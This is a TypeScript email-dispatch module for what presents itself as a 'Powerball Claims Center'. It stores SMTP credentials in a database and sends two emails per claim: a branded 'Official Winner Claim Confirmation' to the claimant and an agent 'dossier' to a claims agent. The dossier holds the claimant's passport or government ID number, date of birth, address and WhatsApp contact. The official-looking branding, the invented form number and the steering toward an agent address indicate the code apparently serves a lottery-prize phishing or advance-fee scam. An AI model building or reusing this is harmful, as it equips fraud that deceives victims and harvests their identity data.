import nodemailer from "nodemailer"; import { db } from "@/db"; import { adminSettings } from "@/db/schema"; import { resolveClaimAgentEmail } from "@/lib/admin-auth"; interface ClaimNotificationPayload { reference: string; firstName: string; lastName: string; middleName?: string | null; dateOfBirth?: string | null; nationality?: string | null; idNumber?: string | null; email: string; phone: string; preferredContact: string; socialMedia?: string | null; address: string; city: string; region: string; postalCode: string; country: string; ticketNumber: string; winningNumbers: string; prizeAmount: string; paymentPreference: string; notes?: string | null; signature?: string | null; submissionDate?: string; } export async function getDbSmtpConfig() { try { const rows = await db.select().from(adminSettings); const hostRow = rows.find((r) => r.key === "smtp_host"); const portRow = rows.find((r) => r.key === "smtp_port"); const userRow = rows.find((r) => r.key === "smtp_user"); const passRow = rows.find((r) => r.key === "smtp_pass"); const fromRow = rows.find((r) => r.key === "smtp_from"); const secureRow = rows.find((r) => r.key === "smtp_secure"); return { host: hostRow?.value?.trim() || process.env.SMTP_HOST || "", port: Number(portRow?.value?.trim() || process.env.SMTP_PORT || "587"), user: userRow?.value?.trim() || process.env.SMTP_USER || "", pass: passRow?.value?.trim() || process.env.SMTP_PASS || "", from: fromRow?.value?.trim() || process.env.SMTP_FROM || "", secure: secureRow?.value === "true" || process.env.SMTP_SECURE === "true", }; } catch (err) { console.error("Error reading SMTP settings from DB:", err); return { host: process.env.SMTP_HOST || "", port: Number(process.env.SMTP_PORT || "587"), user: process.env.SMTP_USER || "", pass: process.env.SMTP_PASS || "", from: process.env.SMTP_FROM || "", secure: process.env.SMTP_SECURE === "true", }; } } export async function setDbSmtpConfig(config: { host?: string; port?: number | string; user?: string; pass?: string; from?: string; secure?: boolean; }) { const entries: Array<{ key: string; value: string }> = []; if (config.host !== undefined) entries.push({ key: "smtp_host", value: String(config.host).trim() }); if (config.port !== undefined) entries.push({ key: "smtp_port", value: String(config.port).trim() }); if (config.user !== undefined) entries.push({ key: "smtp_user", value: String(config.user).trim() }); if (config.pass !== undefined && String(config.pass).trim()) entries.push({ key: "smtp_pass", value: String(config.pass).trim() }); if (config.from !== undefined) entries.push({ key: "smtp_from", value: String(config.from).trim() }); if (config.secure !== undefined) entries.push({ key: "smtp_secure", value: config.secure ? "true" : "false" }); for (const item of entries) { await db .insert(adminSettings) .values({ key: item.key, value: item.value, updatedAt: new Date() }) .onConflictDoUpdate({ target: adminSettings.key, set: { value: item.value, updatedAt: new Date() }, }); } } export async function sendClaimEmails(payload: ClaimNotificationPayload, request?: Request) { const adminAgentEmail = await resolveClaimAgentEmail(request); const smtp = await getDbSmtpConfig(); const subDate = payload.submissionDate || new Date().toUTCString(); const formattedName = `${payload.firstName} ${payload.middleName ? payload.middleName + " " : ""}${payload.lastName}`; const payoutText = payload.paymentPreference === "lump-sum" ? "Lump-Sum Cash Payout" : "30-Year Annuity Installments"; // Build Claimant Email HTML const claimantHtml = ` Powerball Claims Center Confirmation

POWERBALL CLAIMS CENTER

Official Winner Claim Confirmation

Dear ${formattedName},

Your official claim file for the Grand Prize Jackpot (${payload.prizeAmount}) has been successfully received and recorded in our secure claims registry.

Official Claim Reference Number ${payload.reference} Keep this reference code secure. You will need it to coordinate disbursement.

Summary of Submitted Claim File:

Ticket Serial: ${payload.ticketNumber}
6 Winning Numbers: ${payload.winningNumbers}
Prize Tier & Value: Grand Prize Jackpot (${payload.prizeAmount})
Selected Payout Option: ${payoutText}
Address on File: ${payload.address}, ${payload.city}, ${payload.region} ${payload.postalCode}, ${payload.country}
Contact Details: ${payload.email} | ${payload.phone}
Digital Signature: ${payload.signature || formattedName}
Submission Timestamp: ${subDate}
Next Steps: Your designated claim agent (${adminAgentEmail}) will review your submission file. You may email your claim reference code directly to ${adminAgentEmail} to check ongoing status.
Powerball Claims Center · Form PB-1040 · Automated Notification System
`; // Build Admin / Agent Notification Email HTML const adminHtml = ` New Winner Claim File Received

NEW WINNER CLAIM FILE SUBMISSION

ACTION REQUIRED · CLAIMS AGENT DOSSIER

Generated Reference: ${payload.reference}
Ticket Serial Number: ${payload.ticketNumber}

Claimant Identification

Full Name:${formattedName}
Date of Birth:${payload.dateOfBirth || "N/A"}
Nationality:${payload.nationality || "N/A"}
Govt ID / Passport:${payload.idNumber || "N/A"}

Contact & Worldwide Address

Email Address:${payload.email}
Phone Number:${payload.phone}
Preferred Contact:${payload.preferredContact}
Social / WhatsApp:${payload.socialMedia || "N/A"}
Address:${payload.address}
City / Region:${payload.city}, ${payload.region} ${payload.postalCode}
Country:${payload.country}

Prize & Payout Details

Prize Amount:${payload.prizeAmount}
6 Winning Numbers:${payload.winningNumbers}
Payment Preference:${payoutText}
Digital Signature:${payload.signature || formattedName}
Special Notes:${payload.notes || "None"}
Timestamp:${subDate}
Powerball Claims Center Admin Intake · Logged to PostgreSQL
`; const fromAddress = smtp.from || (smtp.user && /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(smtp.user) ? smtp.user : `"Powerball Claims Center" <${adminAgentEmail}>`); console.log(`[EMAIL DISPATCH] Preparing email notifications for Ref: ${payload.reference}`); console.log(`[EMAIL DISPATCH] Claimant Destination: ${payload.email}`); console.log(`[EMAIL DISPATCH] Admin/Agent Destination: ${adminAgentEmail}`); if (smtp.host && smtp.user && smtp.pass) { try { const transporter = nodemailer.createTransport({ host: smtp.host, port: smtp.port, secure: smtp.secure || smtp.port === 465, auth: { user: smtp.user, pass: smtp.pass, }, }); // 1. Send confirmation to Claimant await transporter.sendMail({ from: fromAddress, to: payload.email, subject: `Powerball Claims Center: Official Claim File Confirmation [Ref: ${payload.reference}]`, html: claimantHtml, }); console.log(`[EMAIL DISPATCH] Claimant confirmation successfully sent to ${payload.email}`); // 2. Send dossier to Admin / Agent await transporter.sendMail({ from: fromAddress, to: adminAgentEmail, replyTo: payload.email, subject: `[NEW CLAIM SUBMISSION] Ref: ${payload.reference} - ${formattedName} (${payload.prizeAmount})`, html: adminHtml, }); console.log(`[EMAIL DISPATCH] Admin dossier successfully sent to ${adminAgentEmail}`); return { sent: true, claimantSent: true, adminSent: true, claimantEmail: payload.email, adminEmail: adminAgentEmail, }; } catch (sendErr) { console.error("[EMAIL DISPATCH ERROR] Failed sending via SMTP:", sendErr); return { sent: false, error: String(sendErr), claimantEmail: payload.email, adminEmail: adminAgentEmail, }; } } else { console.log("[EMAIL DISPATCH INFO] SMTP credentials not set. Simulated notification logged."); return { sent: true, simulated: true, claimantEmail: payload.email, adminEmail: adminAgentEmail, }; } }